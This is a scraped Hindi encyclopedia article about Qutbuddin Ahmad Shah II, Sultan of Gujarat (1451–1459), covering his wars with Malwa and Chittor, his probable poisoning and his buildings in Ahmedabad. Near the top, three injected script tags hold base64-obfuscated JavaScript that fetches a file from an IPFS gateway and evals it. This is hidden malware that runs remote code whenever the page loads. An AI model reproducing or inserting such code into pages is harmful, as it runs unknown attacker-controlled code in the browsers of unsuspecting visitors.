क़ुतुबुद्दीन अहमदशाह

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कुतुबुद्दीन अहमदशाह (१४५१-१४५९) गुजरात का सुल्तान था। गुजरात के सुल्तान मुहम्मदशाह (द्वितीय) की मृत्यु के पश्चात १३ फरवीर १४५१ ई. को उसका २० वर्षीय ज्येष्ठ पुत्र जलाल खाँ, कुतुबुद्दीन अहमद शाह (द्वितीय) के नाम से गद्दी पर बैठा।

सिंहासनारूढ़ होते ही नवयुवक सुल्तान को मालवा के सुल्तान महमूद खिलजी के आक्रमणों से अपना राज्य बचाने के लिए कठिन प्रयास करना पड़ा। मालवा सुल्तान की कपड़गंज के युद्ध में (१४५१ ई.) पराजय हुई। चित्तौड़ के राणा कुंभा जो स्वयं कवि भी थे, मालवा तथा गुजरात के सुल्तानों के लिये एक आतंक बने हुए थे। अत: इन दोनों सुल्तानों ने मिलकर मुठभेड़ की। २९ वर्ष से भी कम अवस्था में ही मई, सन १४५९ ई. में कदाचित्‌ विष द्वारा, सुल्तान कुतुबुद्दीन की मृत्यु हो गई। उसे अहमदाबाद के मनिक चौक में स्थित शाही कब्रगाह में उसके पिता पितामह सुल्तान अहमदशाह प्रथम (१४११-१४४२) के पास ही दफनाया गया।

उसने अपने पिता द्वारा आरंभ कराए। शेख अहमदजंग बख्श सरखेज स्थित मकबरे को पूरा कराया और घटामंडल का महल और हौ ए-कुतुब नामक एक झील बनवाई जिसके बीचोबीच नगीना बाग स्थित।


टीका टिप्पणी और संदर्भ